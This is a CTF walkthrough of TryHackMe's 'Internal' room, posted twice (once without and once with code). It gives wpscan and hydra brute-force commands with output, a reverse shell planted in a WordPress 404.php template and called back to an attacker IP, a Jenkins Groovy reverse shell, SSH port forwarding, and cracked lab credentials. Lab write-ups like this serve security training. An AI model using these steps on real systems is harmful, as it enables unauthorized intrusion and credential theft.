02-18-2023, 08:53 AM
TryHackMe – How I Used WPScan to Extract Login Credentials (WordPress)
5/5 – (1 vote)
CHALLENGE OVERVIEW
![[Image: lyteCache.php?origThumbUrl=https%3A%2F%2...efault.jpg]](https://blog.finxter.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXF3NcIh8C9w%2Fhqdefault.jpg)
BACKGROUND
![[Image: image-249.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-249.png)
This CTF challenge is another blackbox-style pentest where we don’t know anything about our target other than the IP address.
We will have to discover ports and services running on the server with our standard pentesting tools like and scan. We also don’t have any inside information about the backend of the target machine.
Let’s get started!
![[Image: image-237.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-237.png)
We’ll be testing out the website during today’s video walkthrough.
It is a site designed for pentesters to keep track of their enumeration and credentials. The paid version also helps pentesters create professional VAPT reports (vulnerability assessment and penetration testing reports).
At the end of this post, I will summarize my thoughts on using for the first time.
ENUMERATION/RECON
![[Image: image-250.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-250.png)
Today we are exporting our results in XML format so that we can upload them to and have the site automatically parse our findings.
![[Image: image-238.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-238.png)
We discovered a WordPress login at: http://internal.thm/blog/wp-login.php
USING WPSCAN TO EXTRACT WORDPRESS LOGIN CREDENTIALS
Let’s use to discover the admin’s email and password for WordPress.
![[Image: image-239.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-239.png)
Now that we found a username, we can run again with a wordlist to brute-force the password.
![[Image: image-240.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-240.png)
We found the admin email and password!
Now we can log into WordPress and look for a place to upload a revshell.
INITIAL FOOTHOLD – SPAWN A REVSHELL BY EDITING 404.PHP
![[Image: image-241.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-241.png)
We’ll edit the template for and drop in a revshell created quickly and easily with EzpzShell.py.
If you want to learn more about, check out my previous blog post:
Learn More: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation
( also automatically starts a listener)
![[Image: image-242.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-242.png)
After copying the payload to, we make sure it is saved and then trigger the payload:
And if everything is set up correctly, we will catch the revshell with as user: .
![[Image: image-243.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-243.png)
STABILIZE THE SHELL
![[Image: image-251.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-251.png)
The following command will stabilize the shell:
![[Image: image-247.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-247.png)
INTERNAL ENUMERATION – FIND USER CREDS
We discover a txt file with credentials:
Let’s try switching users to with the password given in .
We are in as user and immediately find the user flag.
MORE ENUMERATION – DISCOVER A JENKINS SERVICE
SET UP PORT FORWARDING VIA SSH LOGIN
![[Image: image-252.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-252.png)
![[Image: image-246.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-246.png)
SUCCESS! WE’VE CONNECTED UP TO JENKINS VIA SSH PORT FORWARDING! We can now open the Jenkins login page in our browser.
![[Image: image-245.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-245.png)
BRUTE-FORCE THE LOGIN
![[Image: image-253.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-253.png)
The payload on this command has three parts:
Output:
Credentials found!
ENUMERATING JENKINS AS ADMIN
We’ll use the script console on Jenkins to spawn another revshell using groovy scripting language.
We’ll use and choose the Java code, because groovy is built on Java. This time when we catch it, we will be user .
Manually enumerating through the file system we stumble across a. Let’s check out the contents:
Output:
Bingo! We found root user credentials!
SWITCH USERS TO ROOT
![[Image: image-244.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-244.png)
FINAL THOUGHTS
![[Image: image-254.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-254.png)
I’m not convinced yet that will save me much time on my note taking. Maybe with time and experience it would help.
I think the report features that are available for paying subscribers might be just helpful enough to keep me using their platform.
However, I have concerns about security of their platform, as findings from pentesting can be sensitive and generally include login credentials and other passwords.
Overall, I enjoyed the challenge of this box, especially the part where we set up port forwarding via SSH login to expose the Jenkins login portal to our attack machine.
Recommended: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation
5/5 – (1 vote)
CHALLENGE OVERVIEW
- CTF Creator: TheMayor
- Link: https://tryhackme.com/room/internal
- Difficulty: Hard
- Target: Root/User flags
- Highlight: Enumerating a wordpress site with wpscan
- Tools used: ,Code:
pentest.ws,Code:hydra,Code:nmap,Code:dirb,Code:linpeaswith port forwardingCode:ssh
- Tags: CTF, security, accessible, pentest, blackbox
BACKGROUND
![[Image: image-249.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-249.png)
This CTF challenge is another blackbox-style pentest where we don’t know anything about our target other than the IP address.
We will have to discover ports and services running on the server with our standard pentesting tools like
Code:
nmapCode:
dirbLet’s get started!
![[Image: image-237.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-237.png)
We’ll be testing out the website
Code:
pentest.wsIt is a site designed for pentesters to keep track of their enumeration and credentials. The paid version also helps pentesters create professional VAPT reports (vulnerability assessment and penetration testing reports).
At the end of this post, I will summarize my thoughts on using
Code:
pentest.wsENUMERATION/RECON
![[Image: image-250.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-250.png)
Code:
sudo nmap -A -oX nmap.txt $targetIP -p-Today we are exporting our
Code:
nmapCode:
pentest.wsCode:
dirb http://$targetIP -o dirb.txt![[Image: image-238.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-238.png)
We discovered a WordPress login at: http://internal.thm/blog/wp-login.php
USING WPSCAN TO EXTRACT WORDPRESS LOGIN CREDENTIALS
Let’s use
Code:
wpscanCode:
wpscan --url 10.10.61.252/blog -e vpn,u -o wpscan.txt![[Image: image-239.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-239.png)
Now that we found a username, we can run
Code:
wpscanCode:
wpscan --url 10.10.61.262/blog --usernames admin --passwords /home/kalisurfer/hacking-tools/rockyou.txt --max-threads 50 -o wpscan-passwds.txt![[Image: image-240.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-240.png)
We found the admin email and password!
Code:
admin:my2boysNow we can log into WordPress and look for a place to upload a revshell.
INITIAL FOOTHOLD – SPAWN A REVSHELL BY EDITING 404.PHP
![[Image: image-241.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-241.png)
We’ll edit the template for
Code:
404.phpIf you want to learn more about
Code:
ezpzshell
Learn More: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell CreationCode:
ezpz 10.6.2.23 8888 phpCode:
ezpzshell![[Image: image-242.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-242.png)
After copying the payload to
Code:
404.phpCode:
http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.phpAnd if everything is set up correctly, we will catch the revshell with
Code:
ezpzCode:
www-data![[Image: image-243.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-243.png)
STABILIZE THE SHELL
![[Image: image-251.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-251.png)
The following command will stabilize the shell:
Code:
python3 -c 'import pty;pty.spawn("/bin/bash")'![[Image: image-247.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-247.png)
INTERNAL ENUMERATION – FIND USER CREDS
We discover a txt file with credentials:
Code:
cat wp-save.txt Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:bubb13guM!@#123Let’s try switching users to
Code:
aubreannaCode:
wp-save.txtCode:
su aubreannaWe are in as user
Code:
aubreannaCode:
aubreanna@internal:~$ cat us cat user.txt THM{i—------omitted--------1}Code:
cat jenkins.txt Internal Jenkins service is running on 172.17.0.2:8080![[Image: image-252.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-252.png)
Code:
ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.61.252![[Image: image-246.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-246.png)
SUCCESS! WE’VE CONNECTED UP TO JENKINS VIA SSH PORT FORWARDING! We can now open the Jenkins login page in our browser.
![[Image: image-245.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-245.png)
BRUTE-FORCE THE LOGIN
![[Image: image-253.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-253.png)
Code:
hydra -l admin -P /home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou-75.txt -s 8080 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password'The payload on this command has three parts:
- +Code:
http-post-formCode:header
- the request, edited with admin as the username and in place of the password to mark it as the variable for the password wordlistCode:
^PASS^
- the error message that the website will return with a wrong password
Output:
Code:
Using burpsuite or developer mode on firefox will allow us to extract these strings and modify it to our final hydra payload.
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
\
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-06 08:57:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 59185 login tries (l:1/p:59185), ~3700 tries per task
[DATA] attacking http-post-form://127.0.0.1:8080/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 58789 to do in 02:29h, 16 active
[8080][http-post-form] host: 127.0.0.1 login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-06 08:58:10Credentials found!
Code:
admin:spongebobENUMERATING JENKINS AS ADMIN
We’ll use the script console on Jenkins to spawn another revshell using groovy scripting language.
We’ll use
Code:
ezpzshellCode:
jenkinsManually enumerating through the file system we stumble across a
Code:
note.txtCode:
cat note.txtOutput:
Code:
Aubreanna, Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account. root:tr0ub13guM!@#123Bingo! We found root user credentials!
SWITCH USERS TO ROOT
Code:
su root
root@internal:~# cat root.txt
THM{d—-omitted—3r}![[Image: image-244.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-244.png)
FINAL THOUGHTS
![[Image: image-254.png]](https://blog.finxter.com/wp-content/uploads/2023/02/image-254.png)
I’m not convinced yet that
Code:
pentest.wsI think the report features that are available for paying subscribers might be just helpful enough to keep me using their platform.
However, I have concerns about security of their platform, as findings from pentesting can be sensitive and generally include login credentials and other passwords.
Overall, I enjoyed the challenge of this box, especially the part where we set up port forwarding via SSH login to expose the Jenkins login portal to our attack machine.
Recommended: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation

